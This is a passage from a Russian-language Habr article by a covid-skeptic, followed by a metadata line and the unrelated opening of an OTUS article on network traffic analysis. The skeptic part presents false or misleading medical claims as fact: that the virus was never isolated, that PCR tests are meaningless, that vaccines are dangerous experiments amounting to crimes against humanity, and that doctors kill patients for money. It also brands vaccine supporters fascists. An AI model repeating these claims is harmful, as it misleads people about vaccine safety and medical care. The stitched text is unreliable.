Про российские вакцины я даже не говорю: [либо мы верим экспертам из Ланцета и вакцине этой не доверяем](https://www.svoboda.org/a/31254646.html), либо мы не верим никому и не доверяем никаким вакцинам. Кроме того, я напомню, что [Спутник V до декабря 22 года находится в стадии испытания](https://govoritmoskva.ru/news/245099/), то есть все, кто его применяют — участвуют в испытании лекарства. То же самое с ЭпиВакКороной — [не даёт антител](https://trv-science.ru/2021/03/epivakkorona-trials/), которые определяются другими тестами. Ну а уж история о том, как [в российских поликлиниках подменяют вакцины](https://novayagazeta.ru/articles/2021/06/18/epivakafera) — лучшая причина для того, чтобы избегать укола в России как можно дольше.
**Основных претензий к вакцинам по-прежнему три.**
1. Вакцины не проверены. По факту им даже нет ещё и года, если мы говорим о широком применении, поэтому обсуждать какие-то долгосрочные побочные эффекты просто невозможно. Но даже о краткосрочных эффектах мы не можем говорить наверняка — например, в Швеции смертность от вакцин [официально не фиксируется, если произошла позже чем через 30 дней от вакцинации](https://lakartidningen.se/aktuellt/nyheter/2021/04/150-personar-har-anmalt-skador-av-covidvaccin/). Ситуацию со [смертью вакцинированных в Британии](https://metro.co.uk/2021/06/14/12-people-who-died-of-indian-covid-variant-in-uk-were-fully-vaccinated-14765923/) не обсудил уже только ленивый. Ну или вот [воспаление сердечной мышцы у молодых мужчин](https://www.reuters.com/world/us/cdc-heart-inflammation-cases-ages-16-24-higher-than-expected-after-mrna-covid-19-2021-06-10/), вакцинированных новыми мРНК-вакцинами. Нам могут сказать, что это незначительные доли от вакцинированных — но на этом этапе, повторю, мы уже знаем, что говорить нам об этом будут «доктор Фаучи» и «доктор Фергюсон», а поэтому им не верим.
UPD: Вот появилась [новая информация](https://americasfrontlinedoctors.org/frontlinenews/serious-violations-and-manipulations-of-trial-protocol-how-pfizer-obtained-fda-emergency-authorization-for-children) о том, как Пфайзер определяет безопасность вакцин.
— Сам Пфайзер решает, «серьёзная» побочка или «несерьёзная». «Побочки» определяет только клиника, которую указал Пфайзер. Если клиника Пфайзера говорит «нет побочки» то побочки нет, в исследовании никаких побочек отражено не будет, даже если другая клиника с этим не согласна.
— Пфайзер сам решает, какой период после вакцинации рассматривать как период проявления побочек. Согласно протоколу исследования, Пфайзер должна была отслеживать серьезные побочные эффекты в течение 6 месяцев после первой дозы. Но они не обязались публиковать результаты этого отслеживания, поэтому статистические выводы сделали на основании отслеживания лишь в течение месяца после второй дозы.
— Неясным образом в группу испытуемых угодили дети с психическими проблемами, принимавшие лекарства, хотя формально их там не должно было быть. Мы имеем дело с буквальным нарушением протокола исследования, на которое в итоге посмотрели сквозь пальцы.
2. Вакцина может быть причиной других заболеваний или усиления текущих.
Первое, что сразу приходит в голову — [феномен антитело-зависимого усиления инфекции (ADE)](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D1%82%D0%B8%D1%82%D0%B5%D0%BB%D0%BE%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D0%B5_%D1%83%D1%81%D0%B8%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B8%D0%BD%D1%84%D0%B5%D0%BA%D1%86%D0%B8%D0%B8). В присутствии специфических антител некоторые вирусы размножаются быстрее. Впоследствии было показано, что когда антитела, которые не нейтрализуют вирус в достаточной степени, присоединяются к вирусным частицам, это приводит к более эффективному заражению клеток, и, как следствие, к усиленной репликации вируса и патогенности.
Впоследствии этот феномен наблюдался для многих других вирусов. [Здесь можно прочитать подробнее об этой проблеме в связи с другими вирусами и вакцинами.](https://amantonio.livejournal.com/52375.html)
Второе — есть опасность, что какая-то из вакцин будет «протекающей вакциной». [Протекающая вакцина — это вакцина, которая не дает микробу нанести серьезный вред своему хозяину, но не останавливает распространение болезни и ее распространение на другого человека. С другой стороны, «идеальная» вакцина — это вакцина, которая создает пожизненный иммунитет, который никогда не ослабевает, и блокирует как инфекцию, так и передачу.](https://www.pbs.org/newshour/science/tthis-chicken-vaccine-makes-virus-dangerous)
Изучение вируса Марека у куриц показало, к каким последствиям может привести использование «протекающих вакцин». Вакцинирование куриц привело к созданию условий естественного отбора вируса в пользу летальности. [В результате теперь или ты курицу прививаешь, или она умирает — погибают 100% невакцинированных.](https://en.wikipedia.org/wiki/Marek%27s_disease)
Третье — вот доковидное исследование: [вакцинация от гриппа сильно повысила заболеваемость другими *коронавирусами*](https://pubmed.ncbi.nlm.nih.gov/31607599/) — по результатам обследований 6000 военных США после сезона гриппа 2017-2018 года. Где-то в сети уже мелькали догадки, что хуже всего с COVID-19 обстановка там, где население наиболее массово было привито от гриппа (и уж совершенно очевидно, что это поголовно происходило в домах престарелых).
3. Сама идея о необходимости этой вакцинации проседает на фоне всех прочих данных. Не говоря даже о постоянной лжи «флип-флоп докторов» и отсутствия гарантий, мы видим невысокую смертность от вируса в очень высоком возрасте, слышим, что вакцина эта не как от оспы «раз и на всю жизнь», а ежегодная, побочки у неё признанно жесткие, а количество этих побочек опять же не исследовано. Но главное — нам ничего не гарантировано. После вакцины вы: можете [заболеть](https://www.israelnationalnews.com/News/News.aspx/308653), можете [заболеть тяжело](https://ru.technocracy.news/%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B5%D1%82%D0%B0%D1%82%D0%B5%D0%BB%D1%8C-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B8-MRNA-%D0%BF%D1%80%D0%B5%D0%B4%D1%83%D0%BF%D1%80%D0%B5%D0%B4%D0%B8%D0%BB-FDA%2C-%D1%87%D1%82%D0%BE-%D0%B2%D1%8B%D1%81%D1%82%D1%80%D0%B5%D0%BB%D1%8B-%D0%BC%D0%BE%D0%B3%D1%83%D1%82-%D0%B1%D1%8B%D1%82%D1%8C-%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%BC%D0%B8/), можете [умереть](https://www.bbc.com/russian/news-56626748), ответственность за любое последствие у производителя не наступит (вы подписываете добровольное согласие, страховые компании не страхуют).
Ну и, наконец, дискриминация невакцинированных и/или принудительная вакцинация — это очевидное зло, беззаконие, преступление. В самом начале статьи это указано со [ссылкой на резолюцию Совета Европы](https://pace.coe.int/en/files/29004/html). Соответственно, [каждый, кто к вакцинации принуждает или за отсутствие вакцинации дискриминирует](https://habr.com/ru/news/t/564416/) — это преступник, фашист. Он виноват в том же, за что судили на Нюрнбергском процессе нацистов. [О чём тут ещё говорить](https://habr.com/ru/post/564356/#comment_23246796)?
Заключение
----------
Я последовательно рассказал вам, что видит ковидоскептик, изучавший этот вопрос самого его начала.
[1. короновирус SARS-CoV-2 никогда не был выделен по протоколу
2. тесты ПЦР не могут быть критериями оценки наличия заболевания
3. статистика смертности от ковида-19 была грубо искажена
4. внезапно и подозрительно на фоне ковида полностью исчез грипп
5. критерии формирования коллективного иммунитета были переписаны ВОЗ в пользу «вакцинного иммунитета»
6. все меры по «борьбе с пандемией» были абсурдными с медицинской и противозаконными с гражданско-правовой точек зрения
7. вакцинация как панацея была навязана насильственно вместо имеющегося известного лечения
8. вакцины являются экспериментальными генноинженерными препаратами, не исследованными должным образом
9. они были утверждены с вопиющими нарушениями всех существующих правил и принципов
10. поствакцинальные осложнения многочисленны, опасны и в целом таковы, что ковид-вакцинация должна рассматриваться как преступление против человечности.](https://ext-5299091.livejournal.com/58337.html)
Некоторые спрашивают — каким образом может существовать заговор, который вовлекает в себя даже самого скромного врача-терапевта из глухой деревни, который ставит людям диагноз ковид. На этот вопрос ответить проще всего — [люди тянутся за деньгами](http://www.ymuhin.ru/node/2400/za-chto-narod-ubivaet-vrachey). И если весь мир генерирует денежный поток в направлении ковида — ковидные доплаты, ковидные трансферты, ковидные премиальные — то ковид станет самовоспроизводящейся системой, даже если он не существует. Если же ковид существует, но является самым обычным респираторным вирусом уровня гриппа, то раздуть его до масштабов планетарной катастрофы становится ещё проще, ведь о нём даже не нужно постоянно лгать. Нужно просто немножко не договаривать — как это и делали «доктор Тедрос», «доктор Фаучи», «доктор Фергюсон», «доктор Дростен», «доктор Файгл-Дин»…
Почему же молчат учёные, исследователи, экспериментаторы? Я полагаю, что причина либо в их трусости (мы видим это на примере фейка про «естественный коронавирус», которому никто не посмел возразить), либо их снобизме. Мы, в России, знаем этот снобизм очень хорошо благодаря высокой популярности Фоменко, ради которого учёные всё-таки снизошли со своего Олимпа и начали говорить с людьми. Обычно такого не происходит. Обычно учёный смотрит на конспиролога с ненавистью и презрением, не желая его замечать вовсе. Если он даже и снизойдёт до ответа, то ответ будет совершенно несущественным. Например, спросишь его — почему вирус сделан у вас как конструктор, из кусочков последовательностей «научным консенсусом»? А в ответ — да мы всегда так делаем, деревенщина, это называется Научный Подход! Вот и поговорили.
Причём нередко этот снобизм вызван тем, что учёному просто нечего ответить. Только самые честные учёные, припёртые к стенке, признаются, что какие-то вещи им самим непонятны, с какими-то вещами они сами не согласны, а какие-то вещи действительно просто надуманы, но «у нас просто нет ничего лучше». Но даже такой честный ответ будет значительно лучше лжи и снобизма, потому что отсутствие честности — особенно в вопросах, касающихся здоровья и прав людей — вызывают только самые черные подозрения.
Не добавляют доверия и масштабные лживые обвинения ковидоскептиков в «глупости», «необразованности», «несоблюдении простых правил информационной гигигены». Например, здесь же на хабре меня пользователь обвинил в том, что я даю ссылки на ЖЖ (дескать, этот ресурс ненаучный), а когда ссылку на ЖЖ дал сторонник вакцинации — его он не обвинил.
Вот медиахолдинг DW сообщает нам, [каким образом распознавать фейки.](https://www.dw.com/ru/%D1%84%D0%B5%D0%B9%D0%BA%D0%B8-%D0%BE-%D0%BA%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%B5-%D0%BA%D0%BE%D0%BC%D1%83-%D0%B2%D1%8B%D0%B3%D0%BE%D0%B4%D0%BD%D0%BE-%D0%B8%D1%85-%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%8F%D1%82%D1%8C/a-52654552)
> Первое: знать свои источники — от кого исходит информация, что за СМИ ее публикует и какова природа носителя. Например, в мессенджерах практически невозможно установить первоисточник, и это всегда необходимо учитывать. При этом многие утверждения можно быстро проверить благодаря интернету.
>
>
>
> Второе: развивать критическое мышление и интересоваться историей, чтобы замечать повторяющиеся из века в век в разных странах и культурах сюжеты и приемы распространения фейков.
>
>
>
> Третье: обращать внимание на чувства, которые вызывает увиденное, услышанное или прочитанное. Если это — злость или страх, то вы, скорее всего, имеете дело с типичными приемами эффективной манипуляции информацией
Именно так.
Во-первых, благодаря источникам в интернете, мы теперь знаем больше. Мы знаем, что информацию распространяют лживые эксперты «доктор Фергюсон», «доктор Фаучи», «доктор Файгл-Дин», или, скажем, ПЦР-тесты для определения вируса создал, не имея никакого вируса на руках, «доктор Дорстен». А пандемию объявил «доктор Тедрос», которого госсекретарь США называл купленным Китаем. Очень верный совет.
Во-вторых, критическое мышление действительно позволяет нам осознавать, что смешные картинки про маски и писающего человечка без штанов не идут ни в какое сравнение с многочисленными научными исследованиями, доказывающими бесполезность масок. Или что «комендантский час» это идиотизм, потому что это означает, что вирус до 23-00 сидит тихо, а после 23-00 начинает нападать на людей. Ну или что если нам не говорят, сколько людей было протестировано, а говорят только о количестве положительных тестов, то здесь что-то нечисто.
Ну и в-третьих, действительно, если мы смотрим истерические репортажи на DW, где показывают горюющих и плачущих старичков, у которых умер супруг от ковида (а раньше старички никогда не умирали, от гриппа, например) — или показывают, как в Индии горы трупов и костры (хотя [такие же ужасные картинки можно было увидеть в ЖЖ пять лет назад ещё](https://matveychev-oleg.livejournal.com/4527398.html)) — то мы понимаем: да, в нас хотят вызвать страх и панику. Мы «имеем дело с типичными приемами эффективной манипуляции информацией».
Но самое главное, что я хочу сказать, завершая эту статью.
Я — обычный человек. Я не сотрудник аналитического центра, не медицинский чиновник, даже не журналист. И тем не менее, я собрал и изучил все эти материалы. Я ни за что не поверю, что любой из крупных медицинских чиновников, политиков, руководителей научных центров не мог бы заказать провести такую же работу и проанализировать реальные данные. Вместо этого они тратят деньги на тонну однообразных сайтов типа «стопфейк», где написано одно и то же: «Эксперты говорят, что это фейк».
Все они видели настоящие данные — ведь у них-то есть доступ и к базовому числу коек, и к реальному числу тестов — они видели всю эту панику, видели ложь, они знали о вранье «докторов» и СМИ.
И при этом они позволили всему этому произойти.
Какого доверия после этого вы ожидаете политикам, «экспертам» и «экспертному сообществу»? Какого согласия с масочным режимом, локдаунами и вакцинами?
Я приводил в этой статье голоса немногочисленных честных экспертов, которые пытаются возражать потоку лжи, немногочисленных честных журналистов, которые ведут собственные расследования. Но мы видим, что абсолютное большинство людей послушно верит не сути сказанного, а статусу говорящего — и абсолютное большинство статусных говорящих замазаны в каких-то тёмных делишках, скандалах и дополнительной лжи.
И последнее. Так можно ли переубедить скептика?
Разумеется. Для этого нужно всего лишь последовательно опровергнуть хотя бы перечисленные выше пункты, но кроме того — развенчать и осудить фальшивых экспертов, которые вот уже полтора года безудержно лгут, честно и открыто расписать ответы на все затронутые в статье вопросы. Причём это, опять же, довольно простое занятие для любого аналитического центра, крупного медиа-холдинга, научного коллектива. Но в этом никто не заинтересован — мы слышим только призывы к насилию и принуждению. А это значит — мы продолжим сопротивляться и не верить лжецам, покуда ложь не будет официально опровергнута, а лжецы не понесут заслуженного наказания.
---
Я благодарю всех неравнодушных людей, которые постоянно мониторят информацию про пандемию и выкладывают в интернет огромное количество новых данных, которые не сообщат официальные медиа. Спасибо сайту swprs.org, который с самого начала пандемии старался искать и публиковать реальные данные. Огромное спасибо пользователям ЖЖ, материалы которых я использовал для подготовки этой статьи: aizen-tt, amantonio, antiscientism, arbat, asterrot, aziopik, bioplant, danuvius, emdrone, ext-5299091, hippy-end, jescid, subjecthistory, zol-dol. А также топ-блогеру sapojnik, который единственный из всех топовых блогеров не начал внезапно продвигать принудительную вакцинацию, а по-прежнему осуждает ковидобесие и предоставляет у себя в ЖЖ площадку для его обсуждения.
---
UPD: Некоторые дополнения, возникшие по ходу дискуссии.
1) Аргумент о **спасении жизней**.
На сайте ВОЗ написано, что 8 млн в год умирают от курения, в т.ч. 1 млн от пассивного (то есть не курят сами, а от того, что курят рядом с ними). То есть мы имеем 8 млн потерянных жизней в принципе и из них 1 млн тех самых «невинных жизней», которые сами ни в чём не виноваты — их «заразили» (или, в данном случае, задымили курильным дымом).
Для «спасения жизней» от Ковид в большинстве стран мира распоряжением правительств были закрыты кафе, рестораны, кинотеатры, торговые центры и другие бизнесы. Многие из них разорились навсегда. Это произошло в кратчайшие сроки, буквально 1-2 месяца.
Это объяснялось "**спасением жизней**".
Если бы в 2010 году за 1-2 месяца во всех странах мира распоряжением правительств немедленно и навсегда закрыли табачные заводы, то к текущей дате было бы уже спасено 80 млн жизней. Если бы это случилось в 2000 году, то спасены были бы 160 млн жизней.
Почему эти жизни не были спасены?
2) Аргумент о **снижении вероятностей**.
Как известно, доказательств полного отсутствия передачи ковида от привитых не существует. В ряде стран привитых заставляют даже носить маску и соблюдать все прочие ограничения.
На вопрос «зачем же тогда прививка» сторонники принудительной вакцинации отвечают, что всё дело в «снижении вероятности». Мол, и мы, привитые можем передать вирус, и вы, непривитые, тоже. Но вы, непривитые, передаете его с большей вероятностью. А снижение этой вероятности — очень важная задача, и она стоит ваших прав. Поэтому вас нужно принуждать к вакцинации, чтобы **снизить вероятность** смерти старушек при встрече с вами.
Но если мы ставим во главу угла снижение вероятности и делаем этот критерий самым главным (отметая права человека, добровольное согласие на прививки и т.д.), то этот же аргумент уместно распространить и на привитых.
А именно: все привитые должны до конца жизни запереться по домам и никогда из них не выходить. Физическую форму можно поддерживать с помощью упражнений, солнце получать на балконах или через окно, общаться с людьми по интернету. Но вероятность заражения при полном отсутствии встреч (0 встреч) привитого с другими людьми очевидно будет снижена по сравнению со свободным перемещением.
Следовательно, либо привитый должен одновременно с обязательной вакцинацией требовать обязательной пожизненной изоляции всех людей (в том числе и себя) ради "**снижения вероятности**", либо он лжет.
Люди, которые не требуют обязательной вакцинации, но «уговаривают» окружающих привиться ради «снижения вероятности» должны подать личный пример и тоже после вакцинации добровольно закрыться в квартирах до конца жизни, чтобы снизить вероятность передачи вируса.
3) Аргумент о **нагрузке на больницы**.
С этого аргумента начинались пандемийные ограничения, а теперь он становится аргументом для нарушения прав людей и лишения их возможности добровольного согласия путём шантажа. Аргумент этот звучит так: люди, отрицающие Ковид, или признающие, но отказывающиеся вакцинироваться от него — создают слишком сильную нагрузку на систему здравоохранения. Поэтому следует лишить их права получать медицинскую помощь.
Люди, которые используют этот аргумент, должны последовательно и точно также выступать за: полную отмену продажи алкоголя (сухой закон), полную отмену продажи сигарет, полную отмену различной так называемой «вредной еды» (начиная от чипсов и заканчивая газировкой), абсолютный запрет на сидячий образ жизни (не поощрение за посещение фитнес-клубов, а наказание за их непосещение, т.е. неоказание медицинской помощи людям, которые не предъявили документ о том, что они совершали научно обоснованный моцион на протяжении N лет перед заболеванием). Ну и так далее.
Если эти люди не выступают за подобные вещи, или, упаси боже, сами курят или пьют, или едят чипсы, или просто ведут сидячий образ жизни — они лжецы и лицемеры.
Потому что всё, вызывающее подтвержденный медицинский вред, ведёт к излишней **нагрузке на больницы**.
4) Лучшим примером того, что из себя представляет «пандемия», стали прямые угрозы вакс-фашистов, которые я вставил в самое начало статьи. Это именно то, о чём я писал — относительно пандемии и всех связанных с ней ограничений прав человека идёт не научная дискуссия, а политическая, и методы в ней тоже не научные, а тоталитарные: угрозы, принуждения, шантаж. Sapienti sat.
> [Скажут, мало ли на свете подонков, чтобы обращать на них внимание? Нет, внимание обязательно следует обращать. В 1917м Россия слишком дорого заплатила за то, что годами не обращала внимание на матросов железняков, присвоивших себе право вещать от имени науки.](https://asterrot.livejournal.com/514457.html)
>
>
>
> Кто присвоил себе сегодня право вещать от имени науки и требовать террора против несогласных? Директора академических НИИ? Доктора медицины в области вирусологии, иммунологии и эпидемиологии? Академики Медицинского Отделения РАН? Нет, обычные обыватели, охотнорядцы. Реальные специалисты, когда высказываются по данной проблематике, берут совсем иной тон. Осуждают карантинизацию и повальную вакцинацию, признают потенциальую оппасность вакцинирования от ковида. [Вот, например, интервью с академиком РАН Виталием Зверевым](https://www.youtube.com/watch?v=gfmSAkaNBW4).
>
>
>
> Железняки пока что боятся напрямую атаковать экспертов мирового уровня, но конечным объектом атаки являются, конечно же они. Всё это мы проходили в 1917-1937. Если эксперты спорят с большевичьём, то их расстреливают за то, что они спорят. Если соглашаются, от них требуют соглашаться больше и истеричней. И расстреливают либо за недостаточно последовательное согласие, либо за явную неискренность согласия с самыми безумными идеями железняков.
А вот и [использование](https://habr.com/ru/post/564356/#comment_23254098) «ковида» как «карательной психиатрии» — [метод устранения политических противников](https://meduza.io/feature/2021/07/10/ya-uverena-chto-menya-zakroyut-v-bolnitse).
Местечковые «товарищи учёные, доценты с кандидатами» тоже очень рады политическим возможностям, которые открываются перед ними. Вот, например, "[молекулярный биолог](https://habr.com/ru/users/AlenaMakarova/)" здесь на Хабре проповедует пользу вакцин. И, разумеется, переходит к [угрозам](https://habr.com/ru/post/569472/#comment_23297494) завести уголовное дело:
Сразу вспоминается «буржуазная лженаука кибернетика» или посаженный в лагерь [Николай Вавилов](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%BE_%D0%9D%D0%B8%D0%BA%D0%BE%D0%BB%D0%B0%D1%8F_%D0%92%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE%D0%B2%D0%B0). Но идея пробравшихся на [тёплое место с сытным пайком](https://img.ras.ru/ru/personalpages/makarova-alena-vladimirovna) «молекулярных биологов» понятна — долгий и утомительный процесс научных дебатов это так тяжело, куда проще посадить всех оппонентов в лагеря. Написать донос о «вредительстве» — и вот у тебя в кармане сталинская премия, а захороненные в вечной мерзлоте мертвецы уже ничего не возразят. Ах, если бы всем молекулярным биологам выдавали маузер и право расстреливать — какая бы благодать настала в науке, какой прочный научный консенсус!
5) У статьи [обнаружен](https://habr.com/ru/post/564356/#comment_23201134) персональный куратор — лахтобот! Он бегает по всему интернету, отслеживая ссылку на эту статью, и раскидывает по форумам одну и ту же осуждающую копипасту. Кстати, дополнительно к этому лахтоботы в комментариях здесь и на других форумах распространяют разную ложь обо мне, пишут что я вич-диссидент, плоскоземелец и т.д. Обычная технология замазывания. Вот [отличный пример](https://habr.com/ru/post/564356/#comment_23220118), как комментаторы спорят не со мной, а со своим «образом меня», который нафантазировали у себя в голове.
6) Аргумент **о требованиях сидеть дома**, если вы не хотите прививаться (носить маску и т.п.)
Нет логической разницы между требованием сидеть дома для непривитых (вакцинаторы) и требованием сидеть дома для привитых (антивакцинаторы). В ответ на аргумент «не хотят колоться — пусть сидят дома» абсолютно равноправен аргумент «боитесь ходить по улицам и встречаться с невакцинированными — сидите дома».
Если мы начинаем разбирать этот аргумент детально — обязательно приходим к тому, что выполнять требования вакцинаторов нужно просто потому что они так хотят. Налицо неравноправность желаний двух групп людей — одни могут требовать с другими что-то сделать, а обратный процесс не предусмотрен.
Точно также, если какие-то люди очень боятся заразы, то совершенно не обязательно принуждать других надевать маски или противогазы. Такие люди могут сами надеть противогазы или костюмы химзащиты и ощущать безопасность, ни к чему не принуждая других. Однако, они этого не делают — дома не сидят, костюмов химзащиты не носят. Потому что целью их поведения является не защитить себя, а принудить других к выполнению своих распоряжений.
7) Аргумент об **общественном благе**.
Предыдущий аргумент о необходимости сидеть дома часто выливается в разговоры «общество может принудить нежелающих». Часто в этому случае используют неверное возражение — привившихся меньшинство, «общество» это те, кто прививаться не желает. Это верно для России, но неверно для некоторых других стран. Однако дело в том, что подобные рассуждения в принципе неправильны. Общество не может и не должно принуждать нежелающих в данной ситуации.
[Есть т.н. Большая Тройка. Три права которые считаются священными, неотчуждаемыми и безусловными. Право на ЖИЗНЬ, СВОБОДУ и ЛИЧНУЮ НЕПРИКОСНОВЕННОСТЬ. Рассуждения о том, что эти права могут ущемляться в силу некоего общественного блага — преступление против человечности.](https://habr.com/ru/post/564356/#comment_23202870)
Принуждение ради общественного блага неизбежно выливается в ситуацию, когда здорового человека можно схватить на улице, усыпить и разобрать на органы, чтобы спасти несколько других больных людей. Принуждение в таких вопросах просто недопустимо. Приравнивание не желающих прививаться людей к преступникам, к которым допустимо применять насилие — это [полная отмена любых прав человека](https://habr.com/ru/post/564356/#comment_23270934), так как любое нежелание человека делать что-либо в рамках данного подхода может быть расценено как преступление (нежелание рожать детей, чтобы обеспечить общественное воспроизводство; нежелание быть донором органов ради спасения большего числа индивидов и т.п.).
8) **«Врачи-убийцы».** Это требует отдельного пункта, потому что я не вынес этот вопрос в текст статьи, всего лишь упомянув, что за деньгами будут тянуться любые врачи. Но поскольку в комментариях эта проблема постоянно всплывает, я должен сформулировать это. Люди часто приводят в пример «косных», «дремучих» крестьян, которые «отказывались лечиться», приводят в пример «эпидемии в прошлые века». Но они не понимают, что именно тогда происходило.
Проблема складывается из двух составляющих.
**Первая проблема — недостаток знаний.** Дело в том, что врачи на самом деле не чудотворцы и даже не гении. На одного «Доктора Хауса» приходится не меньше миллиона скучающих терапевтов, которые гуглят симптомы пришедших на приём ради небольшой зарплаты. У людей в голове сидит стереотип «врач лучше знает» — и этот стереотип старались поддерживать в том числе в средние века. Но теперь, оглядываясь назад, мы можем установить, что часто врач знал не лучше, а хуже. И что шанс выжить у пациента был выше, если бы врач не лез к нему с тем, что он считал «лечением». Вот [хороший подробный разбор](https://rms1.livejournal.com/659946.html) такой ситуации: в рассказе изображаются «стереотипные дремучие крестьяне», которые «не хотят лечиться» и поэтому нападают на врача. Но современный взгляд показывает нам, что врач буквально убивал своих пациентов. В полной уверенности, что он умный и знающий — а они дремучие и невежественные.
И сейчас никто не даст гарантии в том, что врач не убьёт пациентов случайно. [Вот хороший пример того, как «лечат» больных десятком жестких препаратов](https://bacr.livejournal.com/290459.html), побочные эффекты которых сами могут убить или искалечить пациента. Вот старая история о том, [как в Нью-Йорке оказалось в первое время 80% умерших на ИВЛ](https://usa.one/2020/04/v-nyu-jorke-umirayut-80-pacientov-s-covid-19-podklyuchennyx-k-ivl-vrachi-schitayut-problema-v-nastrojkax-apparata/) — возможно из-за того, что этим ИВЛ им просто разрывали лёгкие, так как с аппаратами работали не профильные врачи, а пациентов накачивали седативами. Или вот хороший пример того, что [попадание в «ковидный госпиталь» уже само по себе убивает пациентов](https://www.osnmedia.ru/obshhestvo/kommunarka-primer-provala-v-borbe-s-koronavirusom-schitaet-epidemiolog/) из-за ошибок в проектировании и обслуживании. А вот [команда врачей подробно разбирает вакцинацию от коронавируса и — если коротко — делает вывод о том, что вакцины и бесполезны, и вредны](https://delyagin.ru/articles/183-sobytija/92558-professional-nye-vrachi-analizirujut-i-sopostavljajut-razlichnye-vaktsiny-jekspertnoe-zakljuchenie-iskljuchitel-noy-vazhnosti). Наверняка и в средние века тоже были врачи, которые призывали не лечить пациентов ртутью и кровопусканием. Над ними наверняка смеялось тогдашнее «врачебное сообщество». Ну а историю [Земмельвейса](https://ru.wikipedia.org/wiki/%D0%97%D0%B5%D0%BC%D0%BC%D0%B5%D0%BB%D1%8C%D0%B2%D0%B5%D0%B9%D1%81,_%D0%98%D0%B3%D0%BD%D0%B0%D1%86_%D0%A4%D0%B8%D0%BB%D0%B8%D0%BF%D0%BF), которого «врачебное сообщество» сгноило в психушке, тоже все помнят.
Из этого следует сделать вывод, что слепое доверие медицине и врачам недопустимо — потому что они при всем своем образовании и опыте могут искренне верить в пользу «лечения», на самом деле убивающего пациента. Но именно этого слепого доверия и требуют от людей.
**Вторая проблема — недостаток совести.** Врачебные злоупотребления при лечении — это вещь не новая, даже вне ковида постоянно можно было сталкиваться с новостями о том, [как какой-нибудь старушке удалили 22 здоровых зуба и выставили счёт на миллион](https://lenta.ru/news/2018/05/29/tooth/). Врачи вовсе не «святые». И для них [Эффект кобры](https://ru.wikipedia.org/wiki/%D0%AD%D1%84%D1%84%D0%B5%D0%BA%D1%82_%D0%BA%D0%BE%D0%B1%D1%80%D1%8B) работает точно также, как и для других людей. И если им платят за «ковидных больных» — то они будут находить этих «ковидных больных» везде. Вот совершенно вопиющая история о том, как [заморили писателя Крапивина — у него был инсульт, но его лечили «от ковида»](https://www.fontanka.ru/2020/08/09/69411940/). Вот здесь [подробно рассказывается, как именно олигархи зарабатывают «на ковиде» — свозят стариков в ангары с кроватями](https://newizv.ru/news/city/19-10-2020/biznes-na-kovide-kak-i-gde-v-moskve-lechat-pensionerov-zabolevshih-koronavirusom), «умиральни», и за каждую койку получают 200 тысяч из бюджета, но, разумеется, никого не лечат. На Урале [велели вообще всех стариков старше 65 лет госпитализировать — неважно, лёгкие симптомы или тяжелые](https://www.e1.ru/text/health/2021/07/03/70005392/). См. выше ссылку на то, что попадание в «ковидный госпиталь» само по себе увеличивает риск смерти. Но важен не риск смерти, важно получить как можно больше пациентов, за которых дают бюджетное финансирование и ковидные доплаты.
И, снова ссылаясь на «дремучих» «мракобесов» и на «холерные бунты» в прошлом — мы узнаём, что такое уже происходило ранее: [штаб-лекари Шрамков и Верболозов шантажировали женщин тем, что выдадут их за заболевших чумой и насиловали, потом женщины, давая показания, назвали их «похотливые сластолюбивые старики» (эти павианы изнасиловали 900 женщин), а царский ещё историк Феоктист Хартахай, выпуская ещё в 1861 году брошюру об этих событиях, назвал их не «Чумной бунт», а: «Женский бунт в Севастополе».
И врачи, и начальство Севастополя, для получения денег из казны были заинтересованы в максимальной смертности населения, для чего применялись не просто негодное питание и негодное лечение любых болезней, но и самые дикие способы лечения, к примеру, для, якобы, предотвращения чумы, зимой население беднейших слободок сгоняли к незамерзающим бухтам Чёрного моря и заставляли их сидеть в морской воде, вызывая этим массовую смертность от воспаления лёгких.](http://www.ymuhin.ru/node/2400/za-chto-narod-ubivaet-vrachey)
И вот у нас уже современная [история о том, как семья олигархов зарабатывает на ПЦР-тестах](https://www.exler.ru/blog/kak-semya-oligarkhov-zarabatyvayet-na-pandemii.htm), которые «добровольно-принудительны». А вот уже почти забытая история о том, как перед всей этой пандемией [московские власти купили крупнейшего в России производителя масок](https://www.vedomosti.ru/business/articles/2020/05/14/830274-moskva-kupila-krupneishego-v-rossii-proizvoditelya-masok) — тоже ставших «добровольно-принудительными».
И эта ситуация не только в российской медицине. Вот в США сенатор Скотт Дженсен (врач, между прочим) поднимает неудобные вопросы.
[«Администраторы больниц вполне могут захотеть, чтобы COVID-19 был прикреплен к резюме выписки или свидетельству о смерти. Почему? Потому что, если это прямая пневмония, с которой человек поступает в больницу — если он Medicare — как правило, единовременная выплата по группе, связанной с диагнозом, будет составлять 5000 долларов. Но если это пневмония COVID-19, то это 13000 долларов, а если пациент с пневмонией COVID-19 окажется на аппарате ИВЛ, то выплата поднимется до 39000 долларов.](https://www.thegatewaypundit.com/2020/04/huge-mn-senator-doctor-hospitals-get-paid-list-patients-covid-19-three-times-much-patient-goes-ventilator-video/)
Из этих историй ещё раз следует сделать вывод, что слепое доверие медицине и врачам недопустимо — потому что может быть, что ваше здоровье или даже жизнь они уже продали за хорошую сумму и уже готовы вас уморить ради денег. Но именно этого слепого доверия и требуют от людей. | https://habr.com/ru/post/564356/ | null | ru | null |
# Исследование сетевого трафика
> Специально для будущих студентов курса [**«Network engineer. Basic»**](https://otus.pw/hGTW/) наш эксперт - Александр Колесников подготовил интересный авторский материал.
>
> Также приглашаем принять участие в открытом онлайн-уроке на тему [**«STP. Что? Зачем? Почему?»**](https://otus.pw/Lmys/). Участники урока вместе с экспертом рассмотрят протокол STP, разберут логику его работы, разберут его преимущества и недостатки.
>
>
---
Статья расскажет, как можно работать с сетевым трафиком. На примере нескольких дампов сетевого трафика будет разобрана работа нескольких полезных инструментов, показаны подходы к извлечению и сборке информации из трафика.
